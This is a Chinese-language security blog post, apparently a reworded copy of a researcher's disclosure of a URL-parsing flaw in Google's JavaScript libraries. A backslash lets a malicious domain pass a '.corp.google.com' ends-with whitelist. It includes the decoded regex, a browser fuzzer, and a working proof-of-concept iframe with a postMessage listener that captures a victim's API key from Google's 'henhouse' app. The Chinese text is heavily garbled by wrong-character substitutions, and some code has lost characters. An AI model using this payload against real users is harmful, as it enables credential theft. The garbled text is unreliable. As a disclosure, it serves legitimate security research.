研究职员在试图绕过一个小型Web运用程序的域名检测时,没到竟绕 过了(险些)所有Google产品中利用的URL解析器。
研究职员在浏览GMail API文档,创造一个按钮,当按下该按钮时,会天生一个GMail API密钥,如下图所示:
从中得到启示,研究职员开始剖析是否可以通过诱使受害者单击链接来实行谷歌云掌握台操作。研究职员创造弹出的运用程序名为henhouse。GMmail API文档将henhouse运用程序作为IFrame嵌入。IFrame中加载的网址如下所示:

https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://developers.google.com",null,[],null,"CreateAPIkey",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]
可以看出URL中的pb[4]是https://developers.google.com,因此是嵌入域名的网址。嵌入的事实表明,父级和子级IFrame之间存在着某种通信,如用户可以单击“Done”按钮以关闭henhouse窗口并返回文档。经由测试后,研究职员确认henhouse运用程序将postMessages发送到父域,更确切地说是发送到pb[4]所指定的域。研究职员还创造,天生的API密钥/OAuth客户端ID,也会在postMessage中发送给父域。
至此,研究职员已经在脑海中天生了全体攻击场景。首先,研究职员将henhouse嵌入在自己的恶意网站,并在postMessage中监听受害者的API密钥。然后,研究职员须要将自己的域名嵌入pb工具中。
但事实并没有想象中的那么大略,在多次失落败后研究职员开始对JavaScript进行逆向,以弄清楚该“白名单”的事情办法。在对稠浊JavaScript进行解码后,研究职员对白名单的事情事理有了一定理解,并制作了一个伪代码版本,如下所示:
//Thisisnotrealcode..varwhitelistedWildcards=['.corp.google.com','.c.googlers.com'];varwhitelistedDomains=['https://devsite.googleplex.com','https://developers.google.com','https://cloud-dot-devsite.googleplex.com','https://cloud.google.com''https://console.cloud.google.com','https://console.developers.google.com'];vardomainURL=URL.params.pb[4];if(whitelistedDomains.includes(domainURL)||getAuthorityFromMagicRegex(domainURL).endsWith(whitelistedWildcards)){postMessage("APIKEY:"+apikey,domainURL);}
要想绕过whitelistedDomains险些是不可能的,但我们可以从whitelistedWildcards入手。whitelistedWildcards将检讨URL的域名是否因此.corp.google.com或.c.googlers.com结尾的。
getAuthorityFromMagicRegex函数如下所示:
vargetAuthorityFromRegex=function(domainURL){varmagicRegex=/^(?:([^:/?#.]+):)?(?://(?:([^/?#])@)?([^/#?]?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:?([^#]))?(?:#([sS]))?$/;returnmagicRegex.match(domainURL)[3]}
这是一个繁芜的正则表达式,.magicRegex.match(domainURL)[3]中包含什么?在JS掌握台的全功能网址上考试测验该正则表达式将返回以下内容:
"Array(8)["https://user:pass@test.corp.google.com:8080/path/to/something?param=value#hash","https","user:pass","test.corp.google.com","8080","/path/to/something","param=value","hash"]
因此magicRegex.match(domainURL)[3]中包含的是权限(域)。研究职员将该正则表达式导入www.debuggex.com网站中,以进行可视化,从而查看匹配是如何发生的。
可以看出该权限域以/、?或#结尾,在这之后的任何内容都不再是域名。但研究职员想到,是否存在一个在被浏览器解析时会结束权限,但在被正则表达式解析时却不会终止的字符。如此,我们便可以通过天生以.corp.google.com结尾的内容绕过检讨,例如:
https://xdavidhu.me[MAGIC_CHARACTER]test.corp.google.com
因此,对付浏览器来说,权限是xdavidhu.me,但是对付正则表达式来说,权限因此.corp.google.com结尾的全部内容,因此许可发送API密钥postMessage。
研究职员编写了一个JavaScript模糊测试器,以测试在实际的浏览器中结束授权的字符:
vars='!"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';for(vari=0;i<s.length;i++){char=s.charAt(i);string='https://xdavidhu.me'+char+'.corp.google.com';try{consturl=newURL(string);console.log("[+]"+string+"->"+url.hostname);}catch{console.log("[!]"+string+"->ERROR");}}
终极,找到了4个终止授权的字符,如下所示:
[+]https://xdavidhu.me/.corp.google.com->xdavidhu.me[+]https://xdavidhu.me?.corp.google.com->xdavidhu.me[+]https://xdavidhu.me#.corp.google.com->xdavidhu.me[+]https://xdavidhu.me.corp.google.com->xdavidhu.me
在浏览器中,除了/、?和#之外,也结束了权限!
这在Firefox、Chrome和Safari浏览器中都适用。之后,研究职员在Chromium的源代码中找到了这种行为的来源:
boolIsAuthorityTerminator(base::char16ch){returnIsURLSlash(ch)||ch=='?'||ch=='#';}
IsURLSlash函数:
inlineboolIsURLSlash(base::char16ch){returnch=='/'||ch=='\';}
JS掌握台的漏洞利用程序:
//Regexparsing"Array(8)["https://user:pass@xdavidhu.me\test.corp.google.com:8080/path/to/something?param=value#hash","https","user:pass","xdavidhu.me\test.corp.google.com","8080","/path/to/something","param=value","hash"]//BrowserparsingnewURL("URL{href:"https://user:pass@xdavidhu.me/test.corp.google.com:8080/path/to/something?param=value#hash",origin:"https://xdavidhu.me",protocol:"https:",username:"user",password:"pass",host:"xdavidhu.me",hostname:"xdavidhu.me",port:"",pathname:"/test.corp.google.com:8080/path/to/something",search:"?param=value"}
PoC观点验证代码:
将该PoC嵌入henhouse,可获取受害者的API密钥。
<iframeid="test"src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://xdavidhu.me\test.corp.google.com",null,[],null,"CreateAPIkey",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe><script>window.addEventListener('message',function(d){console.log(d.data);if(d.data[1]=="apikey-credential"){varh1=document.createElement('h1');h1.innerHTML="YourAPIkey:"+d.data[2];document.body.appendChild(h1);}});</script>
该漏洞的等级可高可低,其只能盗取API密钥或OAuth客户端ID。但之后研究职员想到这么繁芜的正则表达式不可能只是专门为henhouse创建的。于是他开始在其他Google产品中抓取JS文件,创造这个正则表达式无处不在。Google Cloud Console、Google Actions Console、YouTube Studio和myaccount.google.com(!),乃至在一些谷歌安卓运用程序,以及Google Corp登录页面(login.corp.google.com)都利用了该正则表达式。
任何利用该正则表达式通过类似“ends-with”逻辑进行域验证的地方,都可以利用字符对其进行绕过。
以上,便是研究职员试图绕过小型运用程序的URL验证,却意外地创造Google通用JavaScript库中包含的漏洞的故事。
更多安全资讯请关注微信公众年夜众号SecTr安全团队!
!
!